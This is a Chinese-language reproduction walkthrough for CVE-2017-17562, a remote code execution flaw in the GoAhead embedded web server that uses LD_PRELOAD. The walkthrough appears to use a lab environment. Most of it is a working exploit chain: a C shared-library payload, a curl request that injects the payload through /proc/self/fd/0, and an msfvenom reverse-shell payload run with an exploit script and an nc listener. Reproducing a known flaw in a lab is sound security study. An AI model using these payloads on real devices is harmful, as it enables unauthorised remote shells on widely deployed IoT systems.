GoAhead Web 服务器 HTTPd 'LD_PRELOAD' 远程代码执行 (CVE-2017-17562)

GoAhead Web 服务器 HTTPd ‘LD_PRELOAD’ 远程代码执行 (CVE-2017-17562)

Embedthis GoAhead 是世界上最流行的微型嵌入式 Web 服务器,部署在数亿台设备中,是最小嵌入式设备的理想选择。

如果启用 CGI 并且动态链接 CGI 程序,则 3.6.5 之前的 GoAhead 允许远程代码执行。这是在cgi.c. 当与 glibc 动态链接器结合使用时,这种行为可能会被滥用用于使用特殊参数名称的远程代码执行,例如LD_PRELOAD. 攻击者可以在请求正文中发布他们的共享对象负载,并使用 /proc/self/fd/0 引用它。

参考:

漏洞复现

然后,您可以看到欢迎页面在http://192.168.44.132:8080,CGI 脚本在http://192.168.44.132:8080/cgi-bin/index处可用。

首先,将这段劫持代码编译成动态共享库:

1
2
3
4
5
6
7
8
#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}

请注意,由于 GoAhead 是运行在几乎所有可能的 IoT 设备上的紧凑型嵌入式 Web 服务器,因此动态共享库的格式始终取决于目标服务器架构。在现实世界中,虽然 Vulhub 可以向您展示一个最简单的示例,但编译漏洞并不像本手册所建议的那么容易。

在 x86/64 环境下编译:

1
gcc -shared -fPIC ./payload.c -o payload.so

使用 curl 触发攻击:

1
curl -X POST --data-binary @payload.so "http://192.168.44.132:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i

Hello: world!打印响应头以指示代码已执行:

image-20210806154725109

可以编译反弹shell,poc:

https://github.com/ivanitlearning/CVE-2017-17562

执行

1
2
3
4
5
> msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.49.2 LPORT=4444 -f elf-so -o payload.so

> python exploit.py -rhost 192.168.49.2 -rport 8080 -cgipath /cgi-bin/index -payload payload.so

> nc -lvvp 4444

image-20210806172818326

0%